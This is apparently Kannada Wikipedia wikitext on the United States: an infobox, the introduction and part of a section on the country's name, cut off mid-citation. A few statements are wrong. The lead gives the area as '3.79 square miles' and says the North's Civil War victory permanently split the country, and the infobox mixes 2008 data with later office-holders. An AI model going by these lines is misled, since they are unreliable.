|national_anthem="ದಿ ಸ್ಟಾರ್ ಸ್ಪಾಂಗಲ್ಡ್ ಬ್ಯಾನರ್" |official_languages=ಯಾವುದೂ ಇಲ್ಲ;<br />[[ಅಮೇರಿಕದ ಆಂಗ್ಲ ಭಾಷೆ|ಆಂಗ್ಲ]] ''ವಾಸ್ತವಿಕವಾಗಿ'' |languages_type=[[National language]] |languages=[[English language|English]] (''[[de facto]]''){{smallsup|2}} |capital=[[ವಾಷಿಂಗ್ಟನ್, ಡಿ.ಸಿ.]] |largest_city=[[ನ್ಯೂ ಯಾರ್ಕ್ ನಗರ]] |latd=38|latm=53|latNS=ಉ|longd=77|longm=01|longEW=ಪ |[[List of United States cities by population|largest_city]]=[[New York City]] |government_type=[[ಸಂಘಟಿತ ಗಣರಾಜ್ಯ]] |leader_title1=[[President of the United States|President]] |leader_name1=[[ಜೋ ಬೈಡನ್]] ([[Democratic Party (United States)|D]]) |leader_title2=[[Vice President of the United States|Vice President]] |leader_name2=[[ಕಮಲ ಹ್ಯಾರ್ರಿಸ್]] ([[Democratic Party (United States)|D]]) |leader_title3={{nowrap|[[Speaker of the United States House of Representatives|Speaker of the House]]}} |leader_name3=[[Nancy Pelosi]] ([[Democratic Party (United States)|D]]) |leader_title4=[[Chief Justice of the United States|Chief Justice]] |leader_name4=[[John G. Roberts|John Roberts]] |sovereignty_type=[[American Revolutionary War|Independence]] {{nobold|from the [[Kingdom of Great Britain]]}} |established_event1=[[United States Declaration of Independence|Declared]] |established_date1=July 4, 1776 |established_event2=[[Treaty of Paris (1783)|Recognized]] |established_date2=September 3, 1783 |established_event3=[[United States Constitution|Current constitution]] |established_date3=June 21, 1788 |area_footnote=<ref name="WF"/> |area_sq_mi=3794066 |area_km2=9826630 |area_rank=3rd/4th{{smallsup|3}} |area_magnitude=1 E12 |percent_water=6.76 |population_estimate={{uspop commas}}<ref name="POP"/> |population_estimate_year={{CURRENTYEAR}} |population_estimate_rank=3rd{{smallsup|4}} |population_census=281,421,906<ref>{{cite web|url=http://factfinder.census.gov/servlet/SAFFPopulation?_submenuId=population_0&_sse=on|title=Population Finder: United States|publisher=U.S. Census Bureau|accessdate=2007-12-20|year=2000|archive-date=2020-02-12|archive-url=https://archive.today/20200212060450/http://factfinder.census.gov/servlet/SAFFPopulation?_submenuId=population_0&_sse=on|url-status=dead}}</ref> |population_census_year=2000 |population_density_km2=31 |population_density_sq_mi=80 |population_density_rank=180th |GDP_PPP_year=2008 |GDP_PPP=$14.264&nbsp;trillion<ref name=IMF_GDP>{{cite web|url=http://www.imf.org/external/pubs/ft/weo/2009/01/weodata/weorept.aspx?sy=2006&ey=2009&scsm=1&ssd=1&sort=country&ds=.&br=1&c=111&s=NGDPD%2CNGDPDPC%2CPPPGDP%2CPPPPC%2CLP&grp=0&a=&pr.x=60&pr.y=9|title=United States|publisher=International Monetary Fund|accessdate=2009-04-22}}</ref> |GDP_PPP_rank=1st |GDP_PPP_per_capita=$46,859<ref name="IMF_GDP"/> |GDP_PPP_per_capita_rank=6th |GDP_nominal=$14.264&nbsp;trillion<ref name="IMF GDP"/> |GDP_nominal_rank=1st |GDP_nominal_year=2008 |GDP_nominal_per_capita=$46,859<ref name="IMF_GDP"/> |GDP_nominal_per_capita_rank=17th |HDI_year=2006 |HDI={{steady}} 0.950<ref>[http://hdrstats.undp.org/en/2008/countries/country_fact_sheets/cty_fs_USA.html HDI of the US] The United Nations. Retrieved 10 July 2009.</ref> |HDI_rank=15th |HDI_category=<span style="color:#090;">high</span> |Gini=45.0<ref name="WF"/> |Gini_rank=38th |Gini_year=2007 |currency=United States dollar ($) |currency_code=USD |country_code=USA |utc_offset=-5 to -10 |utc_offset_DST=-4 to -10 |cctld=[[.us]] [[.gov]] [[.mil]] [[.edu]] |calling_code= [[North American Numbering Plan|+1]] |drives_on=Right |demonym=[[Names for U.S. citizens|American]] |footnote1=English is the official language of at least 28 states—some sources give a higher figure, based on differing definitions of "official".<ref name=ILW/> English and [[Hawaiian language|Hawaiian]] are both official languages in the state of Hawaii. |footnote2=English is the ''de facto'' language of American government and the sole language spoken at home by 81% of Americans age five and older. Spanish is the [[Spanish in the United States|second most commonly spoken language]]. |footnote3=Whether the United States or the People's Republic of China is larger is [[List of countries and outlying territories by total area|disputed]]. The figure given is from the U.S. [[Central Intelligence Agency]]'s ''[[World Factbook]]''. Other sources give smaller figures. All authoritative calculations of the country's size include only the 50 states and the District of Columbia, not the territories. |footnote4=The population estimate includes people whose usual residence is in the fifty states and the District of Columbia, including noncitizens. It does not include either those living in the territories, amounting to more than 4 million U.S. citizens (most in [[Puerto Rico]]), or U.S. citizens living outside the United States. }} '''ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ''' ವು (ಸಾಮಾನ್ಯವಾಗಿ '''ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ''' , '''ಯುಎಸ್''' , '''ಯುಎಸ್‌ಎ''' ಅಥವಾ '''ಅಮೆರಿಕಾ''' ಎಂದು ಕರೆಯಲ್ಪಡುವ) [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಜ್ಯ|ಐವತ್ತು ರಾಜ್ಯಗಳು]] ಮತ್ತು [[ಫೆಡರಲ್ ಡಿಸ್ಟ್ರಿಕ್ಟ್‌|ಒಳ ಆಡಳಿತದಲ್ಲಿ ಸ್ವತಂತ್ರವಾಗಿರುವ ಡಿಸ್ಟ್ರಿಕ್ಟ್‌]]ಯನ್ನೊಳಗೊಂಡ ಒಂದು [[ಫೆಡರಲ್ ಸರ್ಕಾರ|ಸ್ವಾಯತ್ತ]] [[ಸಾಂವಿಧಾನಿಕ ಗಣರಾಜ್ಯ]]. ಬಹುತೇಕ ಕೇಂದ್ರ ಭಾಗದ [[ಉತ್ತರ ಅಮೆರಿಕ|ಉತ್ತರ ಅಮೆರಿಕಾ]]ದಲ್ಲಿ ಸ್ಥಿತವಾಗಿರುವ ಈ ದೇಶದ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಮೀಪದ ಪ್ರದೆಶಗಳು|ಒತ್ತೊತ್ತಾಗಿರುವ 48 ರಾಜ್ಯಗಳು]] ಹಾಗೂ [[ಮುಖ್ಯ ಡಿಸ್ಟ್ರಿಕ್ಟ್‌ಗಳು ಮತ್ತು ಪ್ರಾಂತ್ಯಗಳು|ಪ್ರಧಾನ ಡಿಸ್ಟ್ರಿಕ್ಟ್‌]] [[ವಾಷಿಂಗ್ಟನ್‌, ಡಿ.ಸಿ.|ವಾಷಿಂಗ್ಟನ್ ಡಿಸಿ]], [[ಪೆಸಿಫಿಕ್‌ ಮಹಾಸಾಗರ|ಪೆಸಿಫಿಕ್]] ಹಾಗೂ [[ಅಟ್ಲಾಂಟಿಕ್‌ ಸಾಗರ|ಅಟ್ಲಾಂಟಿಕ್ ಸಮುದ್ರ]]ಗಳ ನಡುವೆ ನೆಲೆಗೊಂಡಿದ್ದು, ಉತ್ತರದಲ್ಲಿ [[ಕೆನಡಾ]] ಹಾಗೂ ದಕ್ಷಿಣದಲ್ಲಿ [[ಮೆಕ್ಸಿಕೊ|ಮೆಕ್ಸಿಕೋ]]ಗಳನ್ನು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಗಡಿಗಳು|ಗಡಿ]]ಗಳಾಗಿ ಹೊಂದಿದೆ. [[ಅಲಾಸ್ಕ|ಅಲಾಸ್ಕಾ]] ರಾಜ್ಯವು ವಾಯುವ್ಯ ಭಾಗದಲ್ಲಿದ್ದು, ಕೆನಡಾವನ್ನು ಉತ್ತರ ದಿಕ್ಕಿನಲ್ಲೂ [[ಬೇರಿಂಗ್ ಜಲಸಂಧಿ]]ಯನ್ನು ಹಾದು [[ರಷ್ಯಾ]]ವನ್ನು ಪಶ್ಚಿಮ ದಿಕ್ಕಿನಲ್ಲೂ ಹೊಂದಿದೆ. [[ಹವಾಯಿ|ಹವಾಯ್]] ರಾಜ್ಯವು ಪೆಸಿಫಿಕ್‌ ಮಧ್ಯದಲ್ಲಿರುವ [[ದ್ವೀಪಸಮೂಹ]]ವಾಗಿದೆ. ಅಷ್ಟೇ ಅಲ್ಲದೆ, ಪೆಸಿಫಿಕ್ ಹಾಗೂ [[ಕೆರಿಬಿಯನ್|ಕೆರೆಬಿಯನ್‌]]ಗಳಲ್ಲಿಯೂ ಈ ದೇಶದ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಭೂಪ್ರದೇಶಗಳು|ಹಲವಾರು ಪ್ರಾಂತ್ಯಗಳು]] ಅಥವಾ [[ನಡುಗಡ್ಡೆ ಪ್ರದೇಶ|ದ್ವೀಪಕಲ್ಪ]]ಗಳಿವೆ. 3.79 ಚದರ ಮೈಲುಗಳಷ್ಟು (9.83 ಮಿಲಿಯನ್‌ ಚ.ಕಿ.ಮೀ) ವಿಸ್ತೀರ್ಣವುಳ್ಳ <sup></sup> ಹಾಗೂ ಸುಮಾರು 307 ಮಿಲಿಯನ್‌ ಜನಸಂಖ್ಯೆಯನ್ನು ಹೊಂದಿರುವ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಒಟ್ಟು ವಿಸ್ತೀರ್ಣದಲ್ಲಿ [[ದೇಶಗಳ ಪಟ್ಟಿ ಮತ್ತು ಒಟ್ಟು ಪ್ರದೇಶದಿಂದ ಸಮುದ್ರದ ಹೊರಗಿರುವ ಪ್ರಾಂತ್ಯಗಳು|ಮೂರನೇ ಅಥವಾ ನಾಲ್ಕನೇ]] ದೊಡ್ಡ ದೇಶವಾಗಿಯೂ, ಭೂವಿಸ್ತೀರ್ಣ ಹಾಗೂ [[ಜನಸಂಖ್ಯೆ ಆಧಾರಿತ ದೇಶಗಳ ಪಟ್ಟಿ|ಜನಸಂಖ್ಯೆ]]ಯಲ್ಲಿ ಮೂರನೇ ದೊಡ್ಡ ದೇಶವಾಗಿಯೂ ಗುರುತಿಸಲ್ಪಟ್ಟಿದೆ. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಕ್ಕೆ ವಲಸೆ|ವಿವಿಧ ದೇಶಗಳ ವಲಸೆಗಾರ]]ರಿಂದಾಗಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಜಗತ್ತಿನ [[ಬಹುಜನಾಂಗೀಯ ಸಮಾಜ|ಜನಾಂಗ ವೈವಿಧ್ಯ]] ಹಾಗೂ [[ಬಹು ಸಾಂಸ್ಕೃತಿಕತೆ|ಬಹುಸಂಸ್ಕೃತಿ]]ಯುಳ್ಳ ದೇಶಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ.<ref name="DD"> ಆಡಮ್ಸ್, ಜೆ.ಕ್ಯೂ., ಅಂಡ್ ಪರ್ಲೀ ಸ್ಟ್ರಾದರ್-ಆಡಮ್ಸ್ (2001). ''ಡೀಲಿಂಗ್ ವಿತ್ ಡೈವರ್ಸಿಟಿ'' ಶಿಕಾಗೋ: ಕೆಂಡಾಲ್/ಹಂಟ್.ISBN 0-7872-8145-X.</ref> [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅರ್ಥಿಕವ್ಯವಸ್ಥೆ|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಆರ್ಥಿಕತೆ]]ಯು ಜಗತ್ತಿನಲ್ಲೇ ಬಹುದೊಡ್ದ ಆರ್ಥಿಕತೆಯಾಗಿದೆ. 2008 ರಲ್ಲಿ ಅಂದಾಜಿಸಿದಂತೆ [[ಸಮಗ್ರ ದೇಶೀಯ ಉತ್ಪನ್ನ|ಜಿಡಿಪಿ]]ಯು 14.3 [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಡಾಲರ್|ಯುಎಸ್ ಡಾಲರ್]] ಆಗಿತ್ತು. (ಜಗತ್ತಿನ ನಾಮಾಂಕಿತ ಜಿಡಿಪಿ ಶೇಕಡಾ 23% ಮತ್ತು [[ಖರೀದಿ ಸಾಮಾರ್ಥ್ಯದ ಹೋಲಿಕೆ|ಕೊಳ್ಳುವ ಶಕ್ತಿಯ ಸಾಮ್ಯತೆ]]ಯು ಸುಮಾರು ಶೇಕಡಾ 21%)<ref name="IMF GDP">{{cite web|url=http://www.imf.org/external/pubs/ft/weo/2008/02/weodata/index.aspx|publisher=International Monetary Fund|title=World Economic Outlook Database|month=October|year=2008|accessdate=2008-10-27}}</ref><ref> ದಿ [[ಯೂರೋಪ್‌ ಒಕ್ಕೂಟ|ಯುರೋಪಿಯನ್ ಯೂನಿಯನ್]] ಹ್ಯಾಸ್ ಎ ಲಾರ್ಜರ್ ಕಲೆಕ್ಟಿವಿಟಿ ಎಕಾನಮಿ, ಬಟ್ ಈಸ್ ನಾಟ್ ಎ ಸಿಂಗಲ್ ನೇಶನ್.</ref> [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಪೂರ್ವ ಕರಾವಳಿ ತೀರ|ಅಟ್ಲಾಂಟಿಕ್ ಸಾಗರ]]ದುದ್ದಕ್ಕೂ ಇದ್ದ [[ಗ್ರೇಟ್‌ ಬ್ರಿಟನ್‌ ಸಾಮ್ರಾಜ್ಯ|ಗ್ರೇಟ್ ಬ್ರಿಟನ್ನಿನ]] [[ಹದಿಮೂರು ವಸಾಹತುಗಳು|ಹದಿಮೂರು ವಸಾಹತು]]ಗಳಿಂದ ಈ ರಾಷ್ಟ್ರವು ಸ್ಥಾಪಿತಗೊಂಡಿತು. ಅವರು 4 ಜುಲೈ 1776ರಂದು ಗ್ರೇಟ್ ಬ್ರಿಟನ್ನಿನಿಂದ ಸ್ವಾತಂತ್ರ್ಯ ಹಾಗೂ ತಮ್ಮದೇ ಆದ ಸಹಕಾರೀ ಒಕ್ಕೂಟದ ರಚನೆಯನ್ನು ಘೋಷಿಸಿಕೊಳ್ಳುವ ಮೂಲಕ ತಮ್ಮ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸ್ವಾತಂತ್ರ್ಯ ಘೋಷಣೆ|ಸ್ವಾತಂತ್ರ್ಯವನ್ನು ಘೋಷಿಸಿಕೊಂಡರು]]. ಬಂಡುಕೋರ ರಾಜ್ಯಗಳು ಪ್ರಥಮ ಯಶಸ್ವೀ [[ವಸಾಹಾತುಶಾಹಿ ಇತಿಹಾಸ|ವಸಾಹತುಷಾಹಿ ಸ್ವಾತಂತ್ರ್ಯ ಸಮರ]]ವೆನಿಸಿದ [[ಅಮೇರಿಕದ ಕ್ರಾಂತಿ ಸಮರ|ಅಮೆರಿಕ ಕ್ರಾಂತಿ ಸಮರ]]ದಲ್ಲಿ ಗ್ರೇಟ್ ಬ್ರಿಟನ್ನನ್ನು ಸೋಲಿಸಿದವು.<ref> ಡಲ್, ಜೊನಾಥನ್ ಆರ್.(2003 "ಡಿಪ್ಲೊಮಸಿ ಆಫ್ ದಿ ರೆವೊಲ್ಯುಶನ್, ಟು 1783," ಪಿ.352, ಚಾಪ್ಟರ್ ಇನ್ ಎ ''ಕಂಪಾನಿಯನ್ ಟು ದಿ ಅಮೆರಿಕನ್ ರಿವೊಲ್ಯುಶನ್'' , ಎಡಿಶನ್. ಜ್ಯಾಕ್ ಪಿ.ಗ್ರೀನ್ ಅಂಡ್ ಜೆ.ಆರ್.ರೋಲ್. ಮೇಡನ್, ಮಾಸ್.: ಬ್ಲ್ಯಾಕ್ವೆಲ್,ಪಿಪಿ. 352-361ISBN 1-4051-1674-9.</ref> [[ಫಿಲಡೆಲ್‍ಫಿಯ ಒಪ್ಪಂದ|ಫಿಲಿಡೆಲ್ಫಿಯ ಒಡಂಬಡಿಕೆ]]ಯು ಈಗಿನ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಂವಿಧಾನ]]ವನ್ನು ಸೆಪ್ಟೆಂಬರ್ 17, 1787ರಲ್ಲಿ ಅಳವಡಿಸಿಕೊಂಡಿತು. ಮುಂದಿನ ವರ್ಷ ಅದಕ್ಕೆ ದೊರೆತ ಅನುಮೋದನೆಯಿಂದಾಗಿ ಎಲ್ಲ ರಾಜ್ಯಗಳು ಪ್ರಬಲ ಕೇಂದ್ರ ಸರ್ಕಾರವನ್ನು ಹೊಂದಿದ ಒಂದೇ ಗಣರಾಜ್ಯದ ಅಂಗಗಳಾದವು. ಹಲವು ಮೂಲಭೂತ ನಾಗರಿಕ ಹಕ್ಕುಗಳು ಮತ್ತು ಸ್ವಾತಂತ್ರ್ಯಗಳನ್ನು ಖಚಿತಪಡಿಸಿ, ಹತ್ತು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಂವಿಧಾನಕ್ಕೆ ತಿದ್ದುಪಡ್ಡಿಯ ಪಟ್ಟಿ|ಸಾಂವಿಧಾನಿಕ ತಿದ್ದುಪಡಿ]]ಗಳನ್ನೊಳಗೊಂಡ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಹಕ್ಕು ಮಸೂದೆ|ಹಕ್ಕುಗಳ ಮಸೂದೆ]]ಯು 1791ರಲ್ಲಿ ಅನುಮೋದನೆ ಪಡೆಯಿತು. 19ನೇ ಶತಮಾನದಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು [[ಲುಯಿಸಿಯಾನ ಖರೀದಿ|ಫ್ರಾನ್ಸ್]], [[ಅಡಮ್ಸ್ - ಒನಿಸ್ ಒಂಪ್ಪದ|ಸ್ಪೇನ್]], [[ಓರೆಗಾನ್ ದೇಶ|ಯುನೈಟೆಡ್ ಕಿಂಗ್‌ಡಮ್]], [[ಮೆಕ್ಸಿಕನ್-ಅಮೆರಿಕನ್ ಯುದ್ಧ|ಮೆಕ್ಸಿಕೋ]] ಹಾಗೂ [[ಅಲಾಸ್ಕಾ ಖರೀದಿ|ರಷ್ಯಾ]]ಗಳಿಂದ ಭೂಮಿಯನ್ನು ಸಂಪಾದಿಸಿಕೊಂಡಿತು ಮತ್ತು [[ಟೆಕ್ಸಾಸ್ ಗಣರಾಜ್ಯ]] ಹಾಗೂ [[ಹವಾಯಿ ಗಣರಾಜ್ಯ|ಹವಾಯ್ ಗಣರಾಜ್ಯ]]ಗಳನ್ನು [[ಸ್ವಾಧೀನ ಪಡಿಸಿಕೊಳ್ಳುವಿಕೆ|ಸ್ವಾಧೀನ]]ಪಡಿಸಿಕೊಂಡಿತು. [[ದಕ್ಷಿಣದ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳು|ಕೃಷಿ ಆಧಾರಿತ ದಕ್ಷಿಣ]] ಹಾಗೂ [[ಉತ್ತರದ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಗಳು|ಕೈಗಾರಿಕೆಗಳಿಂದ ಕೂಡಿದ ಉತ್ತರ]] ಭಾಗಗಳ ನಡುವೆ [[ರಾಜ್ಯಗಳ ಹಕ್ಕುಗಳು|ರಾಜ್ಯದ ಹಕ್ಕುಗಳು]] ಹಾಗೂ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಜೀತಪದ್ಧತಿ|ಗುಲಾಮೀ ಪದ್ಧತಿ]]ಯ ವಿಸ್ತರಣೆ ಕುರಿತು ಉಂಟಾದ ವ್ಯಾಜ್ಯಗಳು 1860ರ [[ಅಮೇರಿಕಾದ ಆಂತರಿಕ ಯುದ್ಧ|ಅಮೆರಿಕದ ಆಂತರಿಕ ಸಮರ]]ಕ್ಕೆ ನಾಂದಿಯಾದವು. ಉತ್ತರದ ವಿಜಯವು ಶಾಶ್ವತವಾಗಿ ದೇಶವನ್ನು ಹೋಳಾಗಿಸಿತು ಮತ್ತು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಂವಿಧಾನದ ಹದಿಮೂರನೆ ತಿದ್ದುಪಡಿ|ಗುಲಾಮಗಿರಿಯ ಸಕ್ರಮ ಪದ್ಧತಿಯನ್ನು ಕೊನೆ]]ಗೊಳಿಸಿತು. 1870ರ ಹೊತ್ತಿಗೆ ದೇಶದ ಆರ್ಥಿಕತೆಯು ಜಗತ್ತಿನಲ್ಲಿ ಅತಿದೊಡ್ಡದಾಗಿ ಹೊರಹೊಮ್ಮಿತು.<ref>{{cite web|author=Maddison, Angus|url=http://www.ggdc.net/maddison/Historical_Statistics/horizontal-file_09-2008.xls|title=Historical Statistics for the World Economy|publisher=The Groningen Growth and Development Centre, Economics Department of the University of Groningen|year=2006|accessdate=2008-11-06}}</ref> [[ಸ್ಪೇನ್-ಅಮೇರಿಕ ಯುದ್ಧ|ಸ್ಪಾನಿಷ್-ಅಮೆರಿಕನ್ ಸಮರ]] ಮತ್ತು [[I ನೇ ವಿಶ್ವ ಸಮರ|ಜಾಗತಿಕ ಯುದ್ಧ]]ಗಳು ದೇಶದ ಸೈನಿಕ ಬಲದ ಸಾಮರ್ಥ್ಯವನ್ನು ಸಾಬೀತುಗೊಳಿಸಿದವು. 1945ರಲ್ಲಿ [[II ನೇ ವಿಶ್ವ ಸಮರ|ಎರಡನೇ ಜಾಗತಿಕ ಸಮರ]]ದಿಂದ [[ಅಣುಅಸ್ತ್ರಗಳು ಮತ್ತು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಮೊಟ್ಟಮೊದಲ ಅಣ್ವಸ್ತ್ರಗಳನ್ನು ಹೊಂದಿದ ದೇಶ]]ವಾಗಿ ಹಾಗೂ [[ವಿಶ್ವ ಸಂಸ್ಥೆಯ ಭದ್ರತಾ ಮಂಡಳಿ|ವಿಶ್ವಸಂಸ್ಥೆಯ ರಕ್ಷಣಾ ಸಮಿತಿ]] ಮತ್ತು [[ನ್ಯಾಟೋ]]ದ ಸಂಸ್ಥಾಪಕ ಸದಸ್ಯನಾಗಿ ಹೊರಹೊಮ್ಮಿತು. [[ಶೀತಲ ಸಮರ]]ದ ಅಂತ್ಯದಲ್ಲಿ ಮತ್ತು [[ಸೋವಿಯತ್ ಒಕ್ಕೂಟದ ಇತಿಹಾಸ (1985-1991)|ಸೋವಿಯತ್ ಯೂನಿಯನ್‌ನ ವಿಲೀನ]]ವು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವನ್ನು [[ಮಹಾನ್ ಶಕ್ತಿ|ಅತ್ಯಂತ ಶಕ್ತಿಶಾಲಿ]]ಯಾಗಿಸಿತು.ಜಾಗತಿಕ ರಕ್ಷಣಾವೆಚ್ಚದ [[ದೇಶಗಳ ಪಟ್ಟಿಯ ಸೇನಾ ವೆಚ್ಚ|ಸರಿಸುಮಾರು ಶೇ50ರಷ್ಟನ್ನು ತನ್ನ ರಕ್ಷಣೆಗಾಗಿ ವಿನಿಯೋಗಿಸುವ]] ಈ ದೇಶ, ಜಗತ್ತಿನಲ್ಲಿ ಆರ್ಥಿಕವಾಗಿ, ರಾಜಕೀಯವಾಗಿ ಹಾಗೂ ಸಾಂಸ್ಕೃತಿಕವಾಗಿ ಮುಂಚೂಣಿಯಲ್ಲಿರುವ ದೇಶವಾಗಿದೆ.<ref>{{cite web|author=Cohen, Eliot A.|url=http://www.foreignaffairs.org/20040701faessay83406/eliot-a-cohen/history-and-the-hyperpower.html|title=History and the Hyperpower|work=Foreign Affairs|date=July/August 2004|accessdate=2006-07-14}} {{cite news|url=http://news.bbc.co.uk/2/hi/americas/country_profiles/1217752.stm|title=Country Profile: United States of America|publisher=BBC News|date=2008-04-22|accessdate=2008-05-18}}</ref> == ಹೆಸರು ಬಂದ ಬಗೆ == {{See also|Names for U.S. citizens}} 1507ರಲ್ಲಿ ಜರ್ಮನ್ [[ಭೂಪಟ ಶಾಸ್ತ್ರ|ನಕ್ಷೆಕಾರ]] [[ಮಾರ್ಟಿನ್ ವಲ್ಡ್‌‍ಸೀಮುಲ್ಲರ್|ಮಾರ್ಟಿನ್ ವಾಲ್ಡ್‌ಸೀಮುಲ್ಲರ್]] ತಯಾರಿಸಿದ ವಿಶ್ವ ಭೂಪಟದಲ್ಲಿ, ಇಟಾಲಿಯನ್ ಅನ್ವೇಷಕ ಹಾಗೂ ನಕ್ಷೆಕಾರ [[ಅಮೆರಿಗೊ ವೆಸ್ಪುಚ್ಚಿ|ಅಮೆರಿಗೋ ವೆಸ್ಪುಸಿ]]ಯ ಸ್ಮರಣಾರ್ಥವಾಗಿ ಪಶ್ಚಿಮ ಭೂಗೋಳದ ಭಾಗಗಳನ್ನು [[ಅಮೆರಿಕನ್ನರು|‘ಅಮೆರಿಕಾ’]] ಎಂದು ಹೆಸರಿಸಿದರು.<ref>{{cite web|url=http://www.usatoday.com/news/nation/2007-04-24-america-turns-500_N.htm?csp=34|title=Cartographer Put 'America' on the Map 500 years Ago|work=USA Today|date=2007-04-24|accessdate=2008-11-30}}</ref> ಜುಲೈ 14, 1776ರಂದು ಮಾಜಿ ಬ್ರಿಟಿಷ್ ವಸಾಹತುಗಳು ಮೊದಲ ಬಾರಿ ಈ ಆಧುನಿಕ ಹೆಸರನ್ನು “ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಪ್ರತಿನಿಧಿ" ಗಳಿಂದ ಅಳವಡಿಸಿಕೊಳ್ಳಲ್ಪಟ್ಟ “[[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸ್ವಾತಂತ್ರ್ಯ ಘೋಷಣೆ|ಅಮೆರಿಕೆಯ ಹದಿಮೂರು ರಾಜ್ಯಗಳ ಒಕ್ಕೊರಲಿನ ಘೋಷಣೆ]]" ಎಂಬ ತಮ್ಮ ಸ್ವಾತಂತ್ರ್ಯ ಘೋಷಣೆಯಲ್ಲಿ ಬಳಸಿಕೊಂಡವು.<ref>{{cite web|url=http://www.archives.gov/exhibits/charters/charters.html|title=The Charters of Freedom|publisher=National Archives|accessdate=2007-06-20}}</ref> ಈಗಿನ ಹೆಸರು ಅಂತಿಮವಾಗಿ ಆಯ್ಕೆಗೊಂಡು ಬಳಕೆಗೆ ಬಂದಿದ್ದು 15, ನವೆಂಬರ್ 1777ರಲ್ಲಿ, [[ಎರಡನೆ ಭೂಖಂಡದ ಸಮ್ಮೇಳನ|ಎರಡನೇ ಖಂಡಗಳ ಸಮ್ಮೇಳನ]]ದಲ್ಲಿ. ಅದು ಅಂಗೀಕರಿಸಿದ, “ಈ ಒಕ್ಕೂಟದ ಮುಖ್ಯ ಸಾಧನ ಅಮೆರಿಕಾ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವಾಗಿರಲಿದೆ" ಎಂಬ ಹೇಳಿಕೆಯುಳ್ಳ [[ಮಹಾಒಕ್ಕೂಟದ ಲೇಖನಗಳು|ರಾಷ್ಟ್ರಗಳ ಒಕ್ಕೂಟ ಕಲಮಿನಲ್ಲಿ]] ಈ ಹೆಸರನ್ನು ಮೊದಲಬಾರಿಗೆ ಅಧಿಕೃತವಾಗಿ ಬಳಸಲಾಯಿತು. ''ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ'' ಎಂಬ ಇದರ ಸಂಕ್ಷಿಪ್ತ ರೂಪವೂ ಮಾನ್ಯವೇ. ''ಯುಎಸ್'' , ''ಯುಎಸ್‌ಏ '' ಮತ್ತು ''ಅಮೆರಿಕಾ '' ಎಂಬ ಹೆಸರುಗಳನ್ನೂ ಸಾಮಾನ್ಯವಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ. ಆಡುಮಾತಿನಲ್ಲಿ ''ಯುಎಸ್ ಆಫ್ ಏ'' ಮತ್ತು ''ದಿ ಸ್ಟೇಟ್ಸ್'' ಎಂದೂ ಕರೆಯುವುದುಂಟು. ''[[ಕೊಲಂಬಿಯಾ (ಹೆಸರು)|ಕೊಲಂಬಿಯಾ]] '' ಎಂಬ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಹಿಂದಿನ ಜನಪ್ರಿಯ ಹೆಸರು [[ಕ್ರಿಸ್ಟೊಫರ್ ಕೊಲಂಬಸ್|ಕ್ರಿಸ್ಟೋಫರ್ ಕೊಲಂಬಸ್‌]]ನಿಂದ ಹುಟ್ಟಿಕೊಂಡಿತು. ಇದು [[ವಾಷಿಂಗ್ಟನ್‌, D.C.|“ಡಿಸ್ಟ್ರಿಕ್ಟ್ ಆಫ್ ಕೊಲಂಬಿಯಾ"]] ಎಂಬ ಹೆಸರಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿದೆ. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಜನರನ್ನು ಅಧಿಕೃತವಾಗಿ ''[[ಅಮೇರಿಕನ್ (ಪದ)|ಅಮೆರಿಕನ್ನರು]]'' ಎಂದು ಗುರುತಿಸಲಾಗುತ್ತದೆ. ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್ (ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ)ವು ಔಪಚಾರಿಕ ವಿಶೇಷಣವಾಗಿದ್ದರೂ ಕೂಡ ಈ ದೇಶವನ್ನು ಸೂಚಿಸುವಾಗ ಯು.ಎಸ್., ಅಮೇರಿಕನ್ ಎಂಬ ವಿಶೇಷಣಗಳನ್ನು ಸಾಮಾನ್ಯವಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ (“ಅಮೆರಿಕನ್ ಮೌಲ್ಯಗಳು, ಯು.ಎಸ್.ಸೇನೆಗಳು). ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನಕ್ಕೆ ಸಂಬಂಧಿಸಿಲ್ಲದ ಜನರನ್ನು ''ಅಮೆರಿಕನ್ '' ಎಂದು ಇಂಗ್ಲಿಷ್‌ನಲ್ಲಿ ಅಪರೂಪಕ್ಕೆ ಸಂಬೋಧಿಸಲಾಗುತ್ತದೆ.<ref> ವಿಲ್ಸನ್, ಕೆನ್ನೆಥ್ ಜಿ.(1993). ''ದಿ 